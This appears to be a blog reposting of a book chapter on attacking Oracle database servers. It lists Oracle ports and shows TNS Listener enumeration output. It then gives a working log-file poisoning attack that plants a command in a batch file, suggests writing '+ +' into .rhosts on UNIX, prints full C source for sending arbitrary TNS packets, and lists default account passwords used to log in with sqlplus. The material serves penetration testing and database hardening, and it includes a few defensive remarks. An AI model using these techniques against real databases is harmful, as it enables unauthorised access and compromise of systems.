Senin, 19 Juli 2010

Attacking Oracle

chapter 3

Scanning for Oracle Servers

Finding an Oracle database server on the network is best achieved by doing a TCP port scan, unless of course you already know where it is. Oracle and its peripheral processes listen on so many different ports, chances are that one of them will be on the default port even if most of them aren't. The following list details some common Oracle processes and what ports they can be found listening on.

Common Ports

The common ports are

199 agntsvc

1520-1530 tnslsnr

1748 dbsnmp

1754 dbsnmp

1809 dbsnmp

1808 dbsnmp

1810 java—oracle enterprise manager web service

1830 emagent

1831 emagent

1850 java ORMI

2030 omtsreco

2100 tnslsnr

2481 tnslsnr

2482 tnslsnr

3025 ocssd

3026 ocssd

4696 ocssd

6003 opmn

6004 opmn

6200 opmn

6201 opmn

7777 Apache - OAS

8080 tnslsnr

9090 tnslsnr

The TNS Listener

Once the Oracle database server has been discovered the first port of call is the TNS Listener. You need to get some information before continuing, such as the version, the OS, and database services. The Listener control utility can be used to get this information. Run the utility from a command line and as the first command set the Listener you want to connect to:

LSNRCTL> set current_listener 10.1.1.1

This will direct all commands to the TNS Listener at IP address 10.1.1.1. Once set, run the version command:

LSNRCTL> version
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production,,
The command completed successfully
LSNRCTL>

Here you can see that the server is running on a Windows-based system and its version is 9.2.0.1.0. Knowing the version number lets you know what bugs the server is going to be vulnerable to—to a certain degree. Some Oracle patches don't update the version number whereas others do. The version number certainly puts you in the right ball park. The next bit of information you need is the names of any database services running. You get this with the services command.

LSNRCTL> services
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
Services Summary...
Service "ORAXP" has 1 instance(s).
Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "oraxp.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
Handler(s):
"D000" established:0 refused:0 current:0 max:1002 state:ready
DISPATCHER
(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249))
The command completed successfully
LSNRCTL>

Here you can see that there's a database service with a SID of ORAXP. Note that if a TNS Listener password has been set, you'll get an error similar to

Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNS-01169: The listener has not recognized the password
LSNRCTL>

No problem. Issue the status command instead:

LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date 11-OCT-2004 00:47:20
Uptime 0 days 0 hr. 22 min. 31 sec
Trace Level off
Security ON
SNMP OFF
Listener Parameter File C:\oracle\ora92\network\admin\listener.ora
Listener Log File C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "ORAXP" has 1 instance(s).
Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oraxp.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
The command completed successfully
LSNRCTL>

From the status command you can see a number of things:

  1. The version.

  2. The operating system.

  3. Tracing is off.

  4. Security is on, that is, a Listener password has been set.

  5. The path to log files.

  6. Listening end points.

  7. Database SIDs, in this case ORAXP.

It's important to know the database SID because you need this to actually connect to and use the database services. We'll come back to this later on, however. Before this we'll examine a couple of ways the server can be compromised through the TNS Listener.

First, the TNS Listener, depending upon the version, may be vulnerable to a number of buffer overflow vulnerabilities that can be exploited without a user ID and password. For example, Oracle 9i is vulnerable to an overflow whereby the client requests a service_name that is overly long. When the Listener builds an error message to log, the service_name value is copied to a stack-based buffer that overflows—overwriting the saved return address on the stack. This allows the attacker to gain control. In fact, the TNS Listener has suffered multiple overflows and format strings in the past. A search on securityfocus.com will give you all the details.

Another interesting attack relates to log file poisoning. This works only if no Listener password has been set. Assuming one hasn't been set, here's how the attack would go. Using the following code, fire off

(CONNECT_DATA=(CMD=log_directory)(ARGUMENTS=4)(VALUE=c:\\))

This sets the log directory to C:\.

Then fire off

(CONNECT_DATA=(CMD=log_file)(ARGUMENTS=4)(VALUE=foo.bat))

This sets the log file to foo.bat.

Then fire off

|| dir > foo.txt

This creates a batch file off the root of the C: drive with these contents:

11-OCT-2004 02:27:27 * log_file * 0
11-OCT-2004 02:28:00 * 1153
TNS-01153: Failed to process string: || dir > foo.txt
NL-00303: syntax error in NV string

Notice the third line: TNS-01153: Failed to process string: || dir > foo.txt.

When this batch file runs each line is treated as a command, but of course they aren't and they don't execute. However, because of the double pipe (||)—which tells the Windows Command Interpreter (cmd.exe) to run the second command if the first is unsuccessful—in the third line the dir > foo.txt does execute.

By choosing a different file, such as one that will be executed automatically when the system boots or when someone logs on, the command will execute and the system can be compromised.

Note that more recent versions of Oracle append .log to the end of the filename in an attempt to protect against this. Better protection is to set a Listener password and also enable ADMIN_RESTRICTIONS, but more on this later. Oracle running on UNIX-based systems can also be compromised in this fashion. One way of doing this would be to echo "+ +" to the .rhosts file of the Oracle user and then use r*services if they're running.

This code can be used to send arbitrary packets over TNS:

#include 
#include
#include
int SendTNSPacket(void);
int StartWinsock(void);
int packet_length(char *);
int PrintResp(unsigned char *p, int l);
struct sockaddr_in c_sa;
struct sockaddr_in s_sa;
struct hostent *he;
SOCKET sock;
unsigned int addr;
char data[32000]="";
int ListenerPort=1521;
char host[260]="";
int prt = 40025;
int PKT_LEN = 0x98;
int two_packets=0;
unsigned char TNSPacket[200]=
"\x00\x3A" // Packet length
"\x00\x00" // Checksum
"\x01" // Type - connect
"\x00" // Flags
"\x00\x00" // Header checksum
"\x01\x39" // Version
"\x01\x2C" // Compat version
"\x00\x00" // Global service options
"\x08\x00" // PDU
"\x7F\xFF" // TDU
"\x86\x0E" // Protocol Characteristics
"\x00\x00" //
"\x01\x00" // Byte order
"\x00\x85" // Datalength
"\x00\x3A" // Offset
"\x00\x00\x07\xF8" // Max recv
"\x0C\x0C" // ANO
"\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x0A\x4C\x00\x00"
"\x00\x03\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00";
unsigned char TNSPacket2[200]=
"\x00\x00" // Packet Length
"\x00\x00" // Checksum
"\x06" // Type - data
"\x00" // Flags
"\x00\x00" // Header Checksum
"\x00\x00";

int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0,len=0,c =0;
int count = 0;
if(argc < 3)
return printf("%s host string\n",argv[0]);
strncpy(host,argv[1],256);
strncpy(data,argv[2],31996);
if(argc == 4)
ListenerPort = atoi(argv[3]);

if(StartWinsock()==0)
{
printf("Error starting Winsock.\n");
return 0;
}

PKT_LEN = packet_length(data);
SendTNSPacket();
return 0;
}

int packet_length(char *datain)
{
int dl=0;
int hl=0x3A;
int tl=0;
int e = 0;
int f =0;
dl = strlen(datain);
printf("dl = %d and total = %d\n",dl,dl+hl);

if(dl == 255 || dl > 255)
{
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket[24]=e;
f = dl % 256;
TNSPacket[25]=f;
dl = dl + 10;
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket2[0]=e;
f = dl % 256;
TNSPacket2[1]=f;
two_packets = 1;
}
else
{
TNSPacket[25]=dl;
TNSPacket[1]=dl+0x3A;
}

return dl+hl;
}

int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;

if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup( );
return 0;
}
if (isalpha(host[0]))
he = gethostbyname(host);
else
{
addr = inet_addr(host);
he = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (he == NULL)
return 0;
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
return 1;
}

int SendTNSPacket(void)
{
SOCKET c_sock;
unsigned char resp[10000]="";
int snd=0,rcv=0,count=0, var=0;
unsigned int ttlbytes=0;
unsigned int to=2000;
struct sockaddr_in srv_addr,cli_addr;
LPSERVENT srv_info;
LPHOSTENT host_info;
SOCKET cli_sock;

cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf(" sock error");

cli_addr.sin_family=AF_INET;
cli_addr.sin_addr.s_addr=INADDR_ANY;
cli_addr.sin_port=htons((unsigned short)prt);
if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
{
closesocket(cli_sock);
return printf("bind error");
}
s_sa.sin_port=htons((unsigned short)ListenerPort);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
printf("Connect error %d",GetLastError());
return closesocket(cli_sock);
}
snd=send(cli_sock, TNSPacket , 0x3A , 0);
if(two_packets == 1)
snd=send(cli_sock, TNSPacket2 , 10 , 0);
snd=send(cli_sock, data , strlen(data) , 0);
rcv = recv(cli_sock,resp,9996,0);
if(rcv != SOCKET_ERROR)
PrintResp(resp,rcv);

closesocket(cli_sock);
return 0;
}
int PrintResp(unsigned char *p, int l)
{
int c = 0;
int d = 0;
while(c < l)
{
printf("%.2X ",p[c]);
c ++;
if(c % 16 == 0)
{
d = c - 16;
printf("\t");
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(" ");
else
printf("%c",p[d]);
d++;
}
printf("\n");
d = 0;
}
}
d = c - 16;
printf("\t");
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(" ");
else
printf("%c",p[d]);
d++;
}
printf("\n");
d = 0;

return 0;
}

Other methods for compromising the TNS Listener are discussed later but, for the moment, let's turn our attention to the RDBMS itself. One key bit of information we require is the name of a database service identifier—the SID—which we obtained from the TNS Listener earlier. Even if we want to exploit the overly long username buffer overflow in Oracle 9iR2 and earlier we will still need this database SID. The overflow I've just mentioned is one of several ways Oracle can be compromised without a user ID and password, discovered by Mark Litchfield. Assuming you're not going to be exploiting an overflow to get into the system, you're left with guessing a user ID and password. There are so many default accounts in various components of Oracle with default passwords that this is probably the most effective way of attacking an Oracle server. We include a full list of over 600 in Appendix C. The key ones to go for are as follows:

Username

Password

SYS

CHANGE_ON_INSTALL

SYSTEM

MANAGER

DBSNMP

DBSNMP

CTXSYS

CTXSYS

MDSYS

MDSYS

ORACLE

INTERNAL

To connect to the remote system using sqlplus you'll need to edit your tnsnames.ora file. You can find this in the ORACLE_HOME/network/admin directory. Assuming the database server has an IP address of 10.1.1.1, a database SID of ORAXP, and listening on TCP port 1521, you should add an entry as follows:

REMOTE =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL= TCP)(Host= 10.1.1.1)(Port= 1521))
)
(CONNECT_DATA =
(SID = ORAXP))
(SERVER = DEDICATED)
)
)

Once added you can then connect if you have a user ID and password:

C:\oracle\ora92\bin>sqlplus /nolog
SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 11 03:09:59 2004
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
SQL> connect system/manager@remote
Connected.
SQL>

Once connected to the database server you'll probably want to elevate privileges if you have only an account like SCOTT. The best way to do this is through exploiting vulnerabilities in PL/SQL.